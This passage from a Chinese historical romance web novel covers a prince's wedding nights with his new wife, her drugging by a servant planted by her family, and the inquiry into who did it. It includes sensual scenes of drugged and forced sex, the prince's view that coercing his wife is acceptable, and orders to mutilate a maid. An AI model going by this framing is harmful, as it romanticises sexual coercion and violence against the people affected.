若是能再有儿女绕膝,自是再好不过。 岑璠不知道他在想什么,他盯着她,像是在盯猎物,而这绣满梅的帐子便是牢笼。 她在犹豫,要不要下床去,哪怕是喝口水,也总比和这捉摸不透的男人大眼瞪小眼强。 可就在此时,门又开了。 门外,有人送来了酒。 岑璠有一瞬的惊讶。 男人顾自倒了两杯酒,掀眼道:“过来。” 这一声“过来”,将岑璠的心拽回了原地。 她蹬上红鞋下床,同他对坐。 元衡看了眼她,将酒杯放到她面前,“陪孤喝杯酒。” 岑璠不知道他在卖什么关子。 元衡不怎么高兴,声音闷沉,“怎么,同那郑氏女能喝,和本王就不能?” 她不喜欢他把阿湄挂在嘴边,特别是与他这样的人作比。 她拿起酒杯,同他示意,而后用袖子遮起脸,一饮而尽。 元衡单手拿了酒杯,仰头喝尽,同她说起了接下来几日的安排,“过几日,你愿不愿意回门?” 岑璠看他,倒也不口是心非,“不愿。” 元衡并不惊讶,又给各自斟了一杯酒,“不愿便算了。” 说罢,又是一口酒。 岑璠犹犹豫豫,陪了一杯。 “以后不论是在晋阳还是在这里,你便是女主人,若是有人对你不敬,尽管处理便是。” “到了晋阳,你小心杨家人,能不见就不见。” 他交代的大多是以后的事,每说一句,便要自己喝一口,岑璠听他说着,偶尔陪上一杯酒。 那酒不算淡,甚至有点辣嗓子。 就在岑璠喝的有些晕,开始腹诽他的酒量时,一直执着自说自话的晋王问了一句,“你有什么想问孤的吗?” 岑璠“嗯?”了一声。 他耐着性子重新问一遍,这回岑璠听清楚了,可却不知道要问他什么。 问他是一时色起,还是想哄骗榻帮他繁育子嗣吗? 都不能问。 岑璠想了想,最后问道:“殿下是喜欢梅吗?” 元衡显然是没想到她会这么问,抬眼看她,似是看得久了些,而后又给自己斟了杯酒,“算是吧。” 他接着问道:“还有吗?” 岑璠许久未答。 他的眼深邃,让人难以揣摩眼底的情绪。 可她却好像窥见了那墨瞳中一闪而过的失落,不过也只是一瞬间,那一点黯淡便又被藏了起来。 面前的人提起那壶醒酒汤来,倒了一碗,“喝吧。” 岑璠确实是醉了些,便将那碗醒酒汤一饮而尽。 可不知怎么,那醒酒汤却是越喝越迷糊。 她手撑着额头,实在太困,便是不想再做什么,起身想回榻上。 下一刻,有力的臂圈住了她,颈间酥麻传遍四肢百骸。 岑璠僵住,却不自觉仰了脖子,而后陡然清醒,抓住那锁住她的臂,用力向外掰。 他显然是不愿,身体前压,她脚底踉跄,在倒下前转了个身。 酒盏掉下桌,随后桌上的一切被一扫而空。 被埋在心底的记忆又被激起,回想起在佛堂的那次,她本能挣扎。 刚换上的寝衣被用力扯开,他覆身而上,岑璠刚要发出的一切声音被用力顶了回去。 一浪成势,毫无保留拍打在岸上,波浪一次比一次汹涌。 —————— 结束时,红鞋一只倒在床边,另一只还留在桌案前。 他覆在身上,覆得没有一丝缝隙。 两股呼吸错乱交杂,岑璠的手还搭在宽厚的背上,双腿软绵绵瘫在床,酒醒了许多。 眼光却不似刚才清明,灰败中带着无神。 须臾间,他起身,眼中带着餍足。 可刚披上件衣裳,一低眼,便发现岑璠一幅死气沉沉的样子。 他上一世同她纠缠于床榻,自认为对她的身子还算了解。 刚才她的反应,也确实如此,从起初有点抗拒,到后来的痴缠。 大半满足感,便是来源于此。 可她现在这幅样子,是在做给谁看。? 岑璠肯定,自己并不喜欢这件事,虽说不如在佛堂那次疼,可还是说不上的难受。 她不喜欢,却忍不住攀上他的后背。 那种感觉和在佛堂时,很像。 岑璠呼吸还有些不稳,可到底是清醒的,她目光微微斜移,看向空空的桌案。 头瞥回来时,她眼中带着愤怒,仿佛被羞辱了一般。 “你给我的酒,是不是有问题?” 第29章 第二十九章本王没有下药! 元衡看着她,眉越皱越紧,“孤没有。” 岑璠不想听他这种无凭无据的解释。 她的确被人下了药,在和他喝酒之前分明她还是好的,什么事都没有。 他这样的人,让她陪他喝酒,本就是反常之举,现在想来,定是存有别的目的。 在宫里那次,他定也脱不开关系。 岑璠眼底满是失望,想离开,却也知道自己根本离开不了。 她眼中带着鄙夷,眼睛移开,眼中再无他。 那眼神像是一根刺,扎在元衡心上。 他不甘就这么被冤枉,捏住她的下巴,逼她直视他的眼睛,压近了些,一字一句道:“不管你愿不愿意相信,本王没有下药!” 说出那句话时,元衡却是自己怔住。 这句话她过去似也说过,大差不差…… 他大概能想象出他当时的态度,应当也是和她现在的差不多,鄙夷,不信,不想听任何解释。 无论是谁下药,到底自己享了好处,可对另外一个人是羞辱。 再严肃的解释都变得苍白。 所以那时她放弃了解释,自己去了庄子。 她没有证据,也根本没想过他会替她还个清白。 他的手还捏在她的下巴上,慌乱间撞上那无波无澜的眼,还有那抿住的唇,不自觉松了手。 岑璠掰开抓着她肩头的另一只手,转过身去。 元衡不喜欢在这种事上强迫女人,上辈子不喜欢,这辈子也不喜欢。 刚才也是因为看她也有反应,才放纵自己的性情。 现在她的样子,分明是觉得自己强迫于她。 可她是他的妻子,是他明媒正娶回来的正妃,今天他碰她,就算用了强,又有何不可? 此番念头一生,所有的解释便没再说出口。 他冷声道:“我娶你做王妃,不是让你来做摆设。” 暖帐内沉寂了许久,没有回音。 他下颚绷得紧,目光死死钳住她洁白如玉的脊背,逼着自己语气稍放软,“孤娶你回来,是想像寻常百姓一样,好好过日子,刚才让你陪孤喝酒,也只是想让你多些真心话罢了…” 岑璠眼底有一丝动容,可也就是一瞬,便又垂下了眸。 元衡看不见她的神色,更猜不到她的想法,只等着她做出点回应,哪怕是骂他两句。 须臾间,他却等来一句,“知道了。” 倒不如 骂两句痛快。 岑璠力气已经恢复了些,回应后,径直起身穿上衣裳去沐浴。 浴房雾气缭绕,身体浸泡在温水中,肆虐的触感被放大,特别是某一处,像是被撑得太狠,水都要往里灌一样。 身体上传来的这种陌生感觉,让岑璠实在不适应。 她下意识收紧腿。 乳娘一直在外间忙碌,这时才得空进屋,给她揉揉肩。 乳娘瞧了瞧她身上的痕迹,想到刚才进屋时的场景,犹豫道:“姑娘,你说殿下过去是不是身边有人啊?” 她观晋王不像,就算加上上一次,这也才是第二次,寻常男人哪能在那桌子上…… 岑璠只淡淡答,“不知道。” 她不知道,也不想插手他的事,他刚才说他想过寻常百姓的日子,更是不可能。 她还是得尽快了结,走得远远的。 在这里面对这样一个喜怒无常的人,一会儿趾高气昂,一会儿软磨硬泡,他身边的人也和他一样,正常的寥寥无几,时不时要来找她麻烦,她实在开心不起来半分。 乳娘不曾察觉她心中所想,“哎呀”一声,继续劝道:“姑娘总该去打听打听的,过去晋王的身边的是良家女还是在军营里的妓,好好权衡一番,是接到府上,还是继续装作不知道。” 岑璠便有仔细想了想,倒不是真的觉得要不要留在府上是什么难事。 她只是越想越恶心。 不管其他男人如何风流,碰过她的男人也碰过别的人,肌肤相触,她觉得脏。 曾经她眼中的父亲,是一个慈父,永远是个风度翩翩的样子,可她现在也只觉得脏。 总不该弄脏自己。 “那便去查一下吧。”她交代了一句,其余的不想再听,站起身走出浴池。 房内,他已经穿得齐整,就坐在刚才那张桌旁。 桌上的酒已被收了下去,他凤眼如鹰隼,“今天之事,明日便会有结果。” “孤会给你个交代。” 岑璠脚步一顿,“多谢殿下。” 元衡站起身去沐浴,她才向床的方向走去。 床上的被单已经换过,可换上的还是绣着梅的。 刚才那幅梅上,没有落红,可到底还是不干净了。 她实在厌恶。 岑璠这么觉得,也实在忍不得,推开门叫人。 进来的是两个陌生面孔,想来是王府的人,两人默不作声把床单又换了一遍。 元衡再进房时,岑璠已经躺下。 他注意到,那梅被换成了鸳鸯的样式。 沐浴后,他心情倒是好了不少,语气都变得颇为和缓,“为何又找人换了床褥?” 岑璠觉得,若是同他说真话,他定是会以为她厌他不通风雅,不做点疯事就定要记仇。 她早已想好说辞,心平气和答,“‘梅’通‘霉’,并不吉利。” 元衡接受了她的这份说辞,倒自责是自己疏忽。 他们的大婚夜,万万不该沾上霉这个字。 他不在做问,吹灭房中烛火,同她躺在一张榻上,心底从未有过的踏实。 一时间还有些恍惚。 他上辈子,该同她好好做夫妻才对。 漫漫长夜,每天都有个人陪他一起度过,没有算计,没有防备,相拥入梦,该是多好的日子。 岑璠始终没有转过头,见他灭了灯,便闭上眼。 可眼睛刚阖上,却又被他一句话灌醒,“你为什么要把床褥换成鸳鸯。” 岑璠:“……” 自然是因为,他这府里红褥样式只有鸳鸯。 她有一瞬间的不耐烦,可转而便想到了他这么问的缘由,迂回道:“殿下不想换吗?” 同她躺在一张床上的男人沉默了。 岑璠只觉得他事多又嘴硬,还死要面子。 于是她闭上眼。 可谁知,他却在下一刻从背后环住她,像是一头豹子扑住了猎物。 身上的衣带陡然松开,岑璠大惊,她抵抗,可与之较量的是一双强劲的手臂,所有的力气显得微不足道。 纱幔从浮动变成阵阵剧烈的晃动,帐上的梅似被风肆虐,花瓣近乎抖落。 岑璠看不到,一室黑暗,她背对他侧卧,只能看到黑漆漆的帐幔,一次次未知的冲撞带给人的是无尽的恐惧。 她抿唇,不让自己发出一点声音,一只指抵住了她的齿…… —————— 室内再静下来,白月已经划过高空,没入树梢。 岑璠眼睛阖上,并不是装睡,实在是彻底没了力气。 她平躺,不敢再背对着他,将一头猛兽放在自己视线外。 元衡穿好衣,却不如刚才那般,脸上尽是餍足。 他见识到了她的反抗,情最浓时,她的齿咬住他的手指,昭示着自己的不屈。 她确实是被下了药。 他坐在床边,低眼看她。 她已睡熟,睡的很安静,若他也躺下,定也会像他想象中同榻而眠的寻常夫妻一样。 他伸出手,想要触碰她的脸颊,却在碰到的一刹那收回手。 现在他不该吵醒她。 元衡眼睛斜向窗外,穿上衣裳走了出去。 * 岑璠这一觉睡的很熟,连元衡什么时候在自己身边躺下,什么时候离开都不曾知晓。 她是被乳娘喊醒的,天才蒙蒙亮,兴许是喝了酒,也兴许是睡的太少,她的头脑沉重无比,隐隐作痛。 可再怎么难受,也比不得昨晚被抬起的那只右腿酸痛。 在洛阳成婚,第二日自然要去宫里谢恩,这她知道。 她不知道元衡去干什么,等到梳洗穿衣毕,他才出现。 他今日穿得和那日宫宴很像,头戴金冠,满身贵气,薄唇始终擒着一抹笑,凤眼眼尾有一个温柔的弧度。 旁人或许不仔细看便看不出,可韩泽跟在他身边十年有余,能清楚地感受到他的情绪变化。 韩泽肯定,昨日那岑氏是将殿下伺候的非常满意。 其实他骨子里觉得,殿下娶岑氏也挺好的,他们背靠的是杨家和军镇,与世家关系微妙,又胡氏有仇,娶世家女容易被拖累,娶本族女更不可能,倒不如就是这样一个和家族疏离的姑娘,会省去很多麻烦。 最重要的,还是殿下实在喜欢。 昨天房里的事,他倒也是有所耳闻。 殿下向来克制,本不该如此。 韩泽看了看两人。 可不知为何,昨夜动静闹得那样大,白日里这对新婚夫妇竟又变得疏离了起来。 像是被凑起来搭伙过日子的。 韩泽一生无妻无子,却也不太能理解。 旁人觉得荒谬,可岑璠反而觉得这种相处方式,才是她所能接受的。 白日在外面装一装也就罢了,在王府院内,一直伪装出恩爱模样,她会很累。 至于晚上… 那种欲望她无法控制,他这样的人,若是自己想,便会认为她也想,而后说服自己肆意攫取,断不会争得她的同意。 就当一点点偿还他救她的恩情。 左右她不会有身孕,到时候她走时,能欠的少些。 到时候欠他的,实在不行,她用嫁妆补偿。 岑璠这样想,用过早膳后随他上车。 上车之前,乳娘扶着她,岑璠脚步顿了顿,回头。 似乎自她起来就没见过紫芯。 她问:“紫芯呢?” 乳娘答道:“紫芯姑娘忙着嫁妆的事,腾不开手呢。” 岑璠总觉得什么不对,可一时想不到是什么。 “回去再说。”元衡似在催促。 岑璠上了车,马车辘辘,她却隐约想到一件事。 “昨日的事,殿下可查清楚了。” 元衡还是那句,“回去再说,孤会给你个答案。” 他这样子胸有成竹,丝毫不像昨日只知道否认。 显然,他已经查到了,并且查到,此事与他无关。 岑璠又想到刚才,直觉告诉她的反常。 她手微微收紧,一言不发。 就按他说的那样,先应付过 宫里再说。 王府的车本就平稳,今日走得缓了些,无任何颠簸之感 皇帝在皇后的云台殿,太子也在,就连素未谋面的太子妃也来了。 太子虽比晋王晚出生两年,可到底养在洛阳宫里,早早便成了亲。 至于这位太子妃,岑璠从前只知道是位世家女。 今日一见,只觉得精气神不好,病怏怏的模样。 太子妃开口,不过才说了两个字,便咳嗽起来,“兄嫂气色倒是好…我好生…羡慕…” 剩下的话还没说,便被皇后打断,“好了,你就少说两句,与其羡慕不如想想自己怎么养好身子。” 眼前的皇后向来带着一副假面,可这一次,岑璠却在她眼中看到了不加掩饰的厌恶。 晋王母亲早逝,她无名义上的婆母,却也知道,这对婆媳之间的关系已经降到冰点。 太子选择了帮腔,“母后,二兄二嫂大喜,您就先别数落太子妃了。” 说罢,太子笑了笑,“二嫂莫要介意,以后咱们都是一家人。 岑璠知道,在场的人和晋王或多或少有过仇怨,也没将这些场面话放在心上,只颔首一笑。 皇帝端坐,只一双眼来回打量,本该是同元衡一般深邃的凤眼,却因为苍老,眼皮下垂,多了些猜忌和审视感。 皇帝道:“太子妃的身子是该好好养,可皇后也不该因此责怪。” 下一刻,皇帝的目光转向她,注视道:“晋阳地远,路途并不太平,老二他多年行军,你跟紧他,一路上应是无碍。” 那声音像是被踩断的枯枝,钝涩闷哑,像是在嘱托晚辈,可一字一句皆难掩被藏起的无情。 上回见她,她还记得老皇帝龙颜大怒,字里行间都是觉得她的身份给皇室丢了脸,也不知为何,这次见面态度竟有如此大转变。 岑璠行礼谢恩,心里猜疑,可到底什么也没问。 老皇帝似是疲惫,摆了摆手。 岑璠始终没忘府里的事,返回途中,她又问了一遍,“殿下昨日查出的是谁?” 元衡扶膝端坐,“你回府便知道了。” 岑璠深吸一口气,什么话也没说,心里想到许多可能。 回府后,他带她去了偏院的柴房,那院子僻静,门外把手的竟是她带进府的墨群。 墨群打开门锁,退出去关上门。 房内捆着两个人,一个她从未见过,而另一个正是紫芯。 岑璠并不意外,自她出门时便已经猜到了。 她站在那里那里,头也不转,看着挣扎的两个婢女。 元衡道:“本王已经查清,这两个都是虞家来的,昨日那药就下在醒酒汤里,本王不想打草惊蛇,便将她们捆在了这里,你看要怎么处置?” 紫芯嘴被堵住,拼命摇头,眼睛里全是血丝,似是有话要说。 岑璠指了指她,“我想听她说。” 站在一旁的韩泽将她嘴里塞的布取了出来,紫芯连忙用两只膝盖挪动,跪到她面前,哭得上气不接下气,“姑娘,奴婢真的没有,有人要害我……” “这便是殿下说的,已经查清楚了?” 元衡道:“怎么,难不成你还要听一个贱奴的一面之词?” 说罢,元衡叫人取下另一个婢女口中的塞布。 那女子大喊,“奴婢也没有啊!奴婢昨日本想直接将醒酒汤送回屋里,谁知在院内碰到紫芯姑娘,紫芯说王妃先睡下了,叫奴婢先回去,自己去了宴席上,请殿下娘娘明察。” 紫芯反驳,“你胡说!昨日王妃睡下是不假,昨日我分明是在去的路上碰到的你,那醒酒汤当时你还不愿给……” 元衡昨夜里便听过一遍两人的解释,一时便是不想听。 韩泽看得出,又将两人的嘴堵了回去。 元衡问她,“如何?” 岑璠反问,“那依殿下之见,想如何审?” 元衡低眼看地上跪着的两人,眼底冰冷淡漠,“这两人互相攀咬,都怕死,严刑拷问怕也是得不到结果,倒也没必要审,两个奴婢罢了,一起杀了便是。” 话毕,两个人的脸色都变得惨白,紫芯眼泪迸出,嘴里发出呜呜的叫声。 “殿下,这是草菅人命。” 元衡转过身,“我大魏不是前朝,奴便是奴,杀了又有何不可?” 这世道岑璠并非不清楚,如今世家垄断仕途,天下财富向世家聚拢,洛阳歌舞升平,贵族奢靡,可其他地方战事频频,百姓食不果腹,很多人为了不被饿死,甘愿被卖到富贵人家当最下贱的奴。 将生死卖给世家,总比被生吃了强。 她从彭城而来,百年来被人争的你死我活,她们岑家有些家底威望,倒能活得下去,可三年前的战事中,她到底是见识过的。 那时有两家人在彭城的街头吵架,只是因为其中一个小女孩缺了斤两,两个孩子在哭闹,街上的人却就那么冷漠地看着。 母亲说,她父亲当年救她前,她也是被那些饥不择食的难民围住,那些人不要钱财,只是想把她分着吃了。 他是洛阳的权贵,见不到这些百姓疾苦,她却不能忘了她从何处而来。 “我就是想查清楚。”她抬头同他对视,露出了许久未显露出的倔强,“我也不相信,殿下若想查,一点东西也查不出。” 这句话一出,足以让其他人屏住呼吸。 元衡沉默了许久,胸口起伏,最终却像是自我妥协了。 他目光移向紫芯,“本王问你,你昨日去找本王,是你自己要去,还是经过谁的授意?” 紫芯忽然想到什么,立起身,似有话要说。 韩泽眼疾手快,拽出了她嘴巴里的布。 紫芯疾声道:“昨日奴婢本在伺候姑娘沐浴,出来时遇见了苏媪,是她让奴婢去看看席间的情况,奴婢就是在路上遇到的杨柳!” 她眼珠转了转,似是求生欲使然,拼命解释,“药不是我下的!我怎么可能知道自己会遇上苏媪,又知道她会让我去席面!” “乳娘”岑璠喃喃,随即对韩泽道:“将乳娘叫来。” 乳娘被请来时,看看屋内的情况,并不惊讶,只是有些不明所以。 乳娘和紫芯的耳房挨得近,听今早乳娘的说辞,应当是早就知道此事了。 紫芯仿佛抓住了救命稻草,乳娘进屋的一刹那便大喊,“苏媪!求求您为奴婢作证,昨日奴婢与您恰好遇见,是您叫奴婢去席面上看看的,不是奴婢自己要去的” 乳娘愣了愣,对于这番态度似是无措。 须臾后,她转头看了眼并肩站在一起的主子,随后转向紫芯,双手收在腹前,轻轻一跺脚,似是为难,“老奴老奴哪能记得啊” 岑璠皱了眉,帮她回忆,“我记得昨日,您确实在门口张望,等人来报,应是给紫芯交代过此事。” 乳娘似又想了想,忽而笑了笑,“姑娘这么一说,老奴便是想起来了,确实是老奴当时在门口恰好遇见的紫芯,让她去席上看看。” 紫芯破涕而笑,“姑娘,殿下,奴婢真的没有!” 那叫做杨柳的婢女一下挣扎起来,岑璠眼光一瞟,问:“你还有什么要说的?” 能说话时,杨柳瞪着她,“王妃娘娘不过是偏袒身边的人罢了!说不定那药她随时都带在身上,就等着时机呢!” 紫芯红着眼,叫声锐利,“你血口喷人!谁随身带那种腌臜药!” “够了!”元衡喝住两人,“剩下一个直接带下去审。” 岑璠道:“也不必带下去审。” 元衡看她,“王妃是想如何?” “府里昨日这么多人来往,若她出了院子,定有人看到过。” 元衡似有些不可置信,“你是想让这府里的人,一个一个来认?” 岑璠觉得理所应当,“殿下也说过,严刑容易屈打成招。” 韩泽看着直着急,昨日主房那动静持续到半夜,现在却是查出来下药之事,这能在一个柴房里解决还好,若是府中人人皆知—— 怕是不太好吧 韩泽正想着怎样委婉告诉王妃,谁知晋王先开口,说得实在太过直白,“王妃可知,这王府也是要脸面的。” 第30章 第三十章他在逼她看他 岑璠一时有些错愕,不知道自己该对他说些什么。 她细眉 凝得紧,看他的眼神逐渐变得有些怪异。 元衡紧抿着唇,同她对视,下颌线紧绷,似有自己的坚持。 之后却自己妥协了,“依王妃说的办。” 这 韩泽哑然,眨了眨眼,见晋王没有反悔的意思,便下去这么做了。 昨日来过正殿附近的奴仆都被叫到了庭院,就连槿儿也来了,乳娘三言两语讲清了前因后果,槿儿听后小声“啊”了一声。 元衡不想听,也不想参与,自己回了书房。 两个人被推到庭院中间,王府众人互相看着彼此,不明所以。 王妃开口,众人才知,原来昨日那碗醒酒汤有问题,王妃打算叫他们认人。 至于那醒酒汤出了什么问题,实在是…不言而喻。 难怪殿下不在。 这刚过门的王妃,不管过去身份如何,到底是主子,王府里的人遵照命令,一一上前辨认。 杨柳头越埋越低,终于一小厮把她认了出来,“王妃,这位姑娘昨日确实出现在正殿外。” 岑璠捕捉到了她眼中的慌乱。 杨柳垂下头片刻,而后朝那小厮喊道:“你胡说!” 小厮离远了些,不想让吐沫星子沾到自己,“我怎么看错了?我昨日解手回来酒就醒了,错不了,你手上还拿着酒壶呢!” 小厮比划了比划酒壶的形状,“我当时还好奇呢,中堂里那么多酒,怎么会不够喝…” 紫芯心里愈发欣喜,脖子梗向前,“你昨日见到的人穿什么颜色的衣裳?一个人还是两个人?” “就是咱们府里的衣裳啊,她一个,没有别人。” 紫芯如蒙大赦,咧开嘴笑,“是了,我昨日在房内伺候姑娘,穿的是红色,是她,就是她!” 岑璠倒不似紫芯一般激动,继续问道:“你可还记得,她昨日提着什么样式的灯笼?” “这小的那能有印象!小的最多也只能记得这张脸了啊。” 岑璠转而看向杨柳,“你还有什么要说的?” 杨柳收起眼底最后一点无辜,缓缓抬头,眼中凶芒毕露,死咬下唇。 紫芯只顾着一个劲附和,“你这贱婢倒是说话!为何陷害于我!” “你才贱婢!”杨柳嘶喊,“你不也是贱婢!你母亲不过是在夫人身边伺候的贱婢,她个老东西已经死了!还在这儿耍威风呢!” “你不过也是和这外室女一样,运气好而已,不过也只是伺候人的贱婢罢了!你有什么资格在这里趾高气昂!” 紫芯面目涨红,奈何手脚还被捆住,没能真的掐上去,伸脖子向前撞,“我要咬死你!咬死你!” 韩泽连忙叫一旁的人拉开。 岑璠走过去,若说没有怒也是不可能。 她眼底平静,犹如深水,韩泽一瞬间觉得,那双眸和自己的主子很是相似。 她问:“你为何要害我?” 杨柳冷笑,“我就是看不惯夫人受委屈而已,夫人那么好的人,却要对你这个外室女低声下气!” 岑璠冷静道:“好一个忠仆,不过既是忠仆,又怎会轻易卖主?” “依我看,于其说是看不得黄氏受委屈,不如说是觉得时运不济,命运不公。” 似被戳破了心思,杨柳迟迟不语,上抬的视线缓缓落下。 岑璠道:“若你刚才说是受人胁迫,说不定我会放过你,现在看来并不是。” 杨柳眼睛睁得浑圆,忽而反应过来,大喊道:“我知道是谁指使,我都说!” 岑璠却是道:“是谁指使,也不必你说。” 这件事虞家人必然逃不出什么关系,能直接指向的也只有虞家,至于背后是否有其他人指使,这女婢定也不知道,就算知道一二,她也无法以此定罪。 韩泽将一切看在眼里,他本以为这王妃不过是长了副好皮囊,没想到还真是个妙人。 韩泽说话时恭敬了些,“娘娘看,要怎么处置?” “按他说的做便是。” 这个他是谁,韩泽清楚,他一摆手,便有人堵住杨柳的嘴,“带下去审!” 岑璠起得早,实在是累,便先回房。 他并没有回去,岑璠觉得是极好。 今晨去宫里谢恩,她起的太早,又经历一番争吵,身心俱疲。 这才是来这里的第一日…… 报仇并非一日之功,若每日都要这般,也着实太糟心了。 岑璠揉了揉脑袋,乳娘坐在她身后,轻声道:“姑娘若是累了,老奴帮姑娘卸钗吧。” 一道平静无波的声音响起,“紫芯的事,乳娘刚才为何要装作不知道?” 乳娘手顿在半空,垂了下去,“老奴的确是不记得了…” “乳娘分明是记得的。”岑璠眉间有怒,可这是她出生后养她的乳娘,她下不去重口,只叹息,“她什么错事也未做,乳娘也该知道,若她真被冤枉,在这王府是会丢了性命的。” 乳娘低下头,底气不足,却不肯承认,“她也未必老实,说不定也想在殿下面前露脸,将来给自己博名分呢!” 岑璠面色凝若冰霜,呵斥道:“这些话乳娘休要再说!” 乳娘像是卸了气,身子微躬下去,嗫嚅道:“我看姑娘就是心太好,这高门大户里,还有皇宫里,奴婢哪有不想往上爬的,当今贵嫔不就是这么爬上去的?” 岑璠知道乳娘曾经的主家在洛阳,后来主家没落,乳娘怀着身子来到彭城,后来产下槿儿,家中银钱实在不够,才到她家当了乳娘。 当时母亲生她后乳水不够,便让刚生产的乳娘来喂养她,这么多年来,早已是她的亲人。 她知道乳娘见过许多她未曾见过的事,可她不想学她厌恶的那些人。 她道:“这种无凭无据的事,乳娘莫要无端猜测,这个月的月钱罚一半,乳娘也好长些教训。” 乳娘还想反驳什么,可门打开了。 两人都止住声。 元衡走到两人跟前,一句话也没说,薄唇紧闭,眉间黑压压的阴沉。 屋内静的诡异,乳娘见状缓缓站起身,一步两步退了出去。 一声轻微的关门声落下,他问道:“查出来了?” 岑璠面对着铜镜,淡淡道:“查好了,剩下一个,殿下处置便是。” 乳娘腾出了位置,元衡顺位坐在了她身后。 他肩宽,她身细,在她身后犹如一堵严实的墙墙,将她笼罩起来,禁锢在牢笼中。 岑璠从铜镜上悄然移开视线,微微转头,精巧如玉的脸颊便恰好触碰到了他的手,仿若是被人捧在手心之中一样。 她微微一怔,而后回过头去。 那只修长的手捏住簪子,轻轻取下,一手轻扶她的腰,一手将钗放在她面前的妆台上,每伸手向前一次,呼吸便打在她的耳畔。 他似乎只是想帮自己卸钗。 岑璠深吸一口气,放下心来。 元衡道:“那婢女已经招了,招的很快,说是虞家的管家让她这么做,事成会赏金银。” 这和岑璠自己想的差不多,那婢女不过是一时迷了心窍,想必那管家也是听到了那婢女偶尔抱怨,所以才会挑她做这件事。 元衡又道:“你想怎么办?” “既是查清楚,打五十板子发卖便是。” 话音刚落,身后传来闷声轻笑,“王妃真是菩萨心肠。” 岑璠不理会这话中的戏谑,“那殿下想如何?” 他卸去最后一根簪,双手攀在她的肩上,声音没有一丝起伏,用平淡的语气说着残忍的话,“本王将她毒哑,手筋挑断、再 丢回虞家、王妃觉得怎么样?” 倒还不如杀了,岑璠心想。 那手指轻轻点在她的肩头,似在催促。 她唇微弯,“殿下这么做,莫不是怕…伤了自己面子。” 他手指顿了顿,而后略向外,包住她的肩头,那力道泄漏了些许情绪。 “本王只是觉得,那婢女话多,怕她乱说什么而已。” 岑璠想了想,道:“那便按殿下说的办。” 元衡满意,转而看向她藏在碎发中的红痕,看向铜镜里轻闭双眼的她,“可是昨晚累了?” 那呼吸还是太近,岑璠利索地站起身,道:“不是。” 元衡手上骤然一空,脸上维持的笑容闪过一丝晦暗。 屋里有些昏暗,岑璠推开门,想喘口气。 谁知门外却是跪了一人,穿着婢女的衣裳,头压得极低。 岑璠认得她头上绑的红绳。 跪着的是紫芯。 紫芯未抬头,哭着拜谢,“奴婢谢娘娘主持公道,奴婢此后愿为娘娘做牛做马。” 听到身后的脚步渐近,岑璠冷冷道:“我不需要你当牛做马,你且回去吧。” 元衡走到她身边,跟着低头看了一眼。 紫芯脸又浮现出惨白,她擦汗下巴上凝聚的眼泪,站起身又一拜才离开。 岑璠伫立良久,他便一直在旁陪她。 夏将至,廊下光影斑斓,迎面而来的是都是暖风。 鬓发微拂,岑璠眯起眼,轻问道:“殿下说过要让我报仇,要等到何时?” 余光中,他转头看她,看不清是和神色。 “皇后非等闲之辈,又有胡氏倚仗,你要报仇并非易事。” 岑璠听罢,转过头,他似和她心意相通,也转头看她。 她的眼中倒映着他的影,却又似深不见底的寒潭,眼底全然没有他。 就算同床共枕,做过最亲密的事,也未能改变什么。 元衡知她为何要这么看他,却执拗地想将这桩婚事强扭成正常夫妻该有的样子。 “胡氏亦是我的仇人,仇我不会不报。” “我想亲手杀了她。”岑璠道。 元衡声音顿了顿,“好。” 他转而声音有些喑哑,提醒道:“但你我还有日子要过……” 岑璠眼睫微垂,并未回应。 她能想到同他日子,除了报仇,还有便是如何应付他身边对她充满敌意的血亲,除此之外便是在夜里的鱼水之欢。 她知道他也许有几分真心,他身边的人,包括他自己,从来没有正眼瞧过她的意愿,只为成全自我罢了。 她讨厌,打小就厌恶。 结果到最后,岑璠也没有回应。 一天下来,最像他口中“日子”的,竟是两人午膳时一顿稀松平常的鱼脍。 夜里下起一阵疾风骤雨,树叶被拍打得凌乱不堪,屋檐上的雨汇成一股细流自屋檐滑落。 暖帐内湿热,她脸色潮红未散,平日似冷湖的双瞳似晕了一汪春水。 紧实的臂撑在两旁,那臂上线条如木般苍劲流畅。 他在逼她看他。 风止住,他抽离,在她面前穿衣已经变成了习惯。 岑璠不懂为何他今日为何要这般搓磨她,非要将她磨的连起来的力气都没有。 他似也感受到了她的无力,那眼中未有怜,眼尾蕴着温柔,更多是缠绵后的愉悦与缱绻。 他抱了她去沐浴,王府里的汤池不小,就算两个人也不拥挤。 汤池壁由白玉铺成,岑璠靠在汤池里,紧闭双眼。 水声细微,轻波漾起,挺立的鼻梁蹭过下颌,如鸿毛轻拂。 她想躲,只能仰起头,落在满是欲的眼中,便又是另一种意思。 水波猛然激起一阵,他唇靠了过来,岑璠晃过神,用力抵开他。 元衡便也是醒了。 他转身,并肩同她靠在池壁,细嫩的肌肤触碰上那紧实的臂,岑璠往旁边挪了一小步。 元衡感受的到,他在水下捉住她的手,十指相扣。 “明日可还想回门?”他漫不经心道。 岑璠断然道:“不可能回。” 元衡道:“不回便收拾东西,隔日之后回晋阳。” * 回门日,岑璠以身体不适为由推拒。 虞佑柏向外哭天喊地,却是喊回了自己派去王府的奴仆,有好几个被打得皮开肉绽,被毒哑的杨柳被韩泽扔在地上。 虞佑柏长大了嘴,似是惊诧。 韩泽只说那婢女不守规矩,要虞家一个说法,倒是丝毫不提下药之事, 虞佑柏连忙点头,召集全府之人问讯半日,最后说是杨柳的亲娘教唆,要将两人全部发卖。 说这话时,虞佑柏特地提到了胡氏,说两人曾在胡氏做过事。 韩泽也明白,如此兴师问罪,虞家定会找人当替死鬼,若将这事闹得沸沸扬扬,皇宫里那位胡姓皇后定会用昨日之事做什么文章,便索性见好就收,将虞家送往王府的奴仆尽数退回,在外便只称奴仆不守规矩,用不习惯,倒也不顾及什么颜面,由着外面的人猜测。 隔日,辎车与并车早早便收拾好,动身回晋阳。 晋阳在北,须过邙山,就像皇帝说的,一路上并非全都太平,光是邙山就盗墓者众多。 不过随行的人许多都是随晋王回来的军士,盗墓者没胆子劫。 说实话,岑璠有些不舍,舍不得珝儿,更舍不得刚认识的那些朋友。 可她能离他们远些,也是好的。 城外郊野,每过十里便该有凉亭供旅人歇脚,可战乱多年,洛阳城的主人换了又换,凉亭也没剩几个了。 城外,残破的凉亭里有两人等着,其中一个还是少年模样。 元衡瞟了一眼,继续向前走,奈何那少年喊了声姐夫。 他不得不停下来。 少年看了眼后面的队伍,迈开腿朝最华丽的一辆并车而去。 先听见车外动静的是槿儿,随后岑璠便听见了一声声“阿姊”。 她挑开车帘,看到珝儿的一刹,连忙起身下车。 她上下看了看他,眼一眨不眨看在他身上,“珝儿怎么来了?” 珝儿道:“阿姊昨日没回门,我来看看阿姊。” 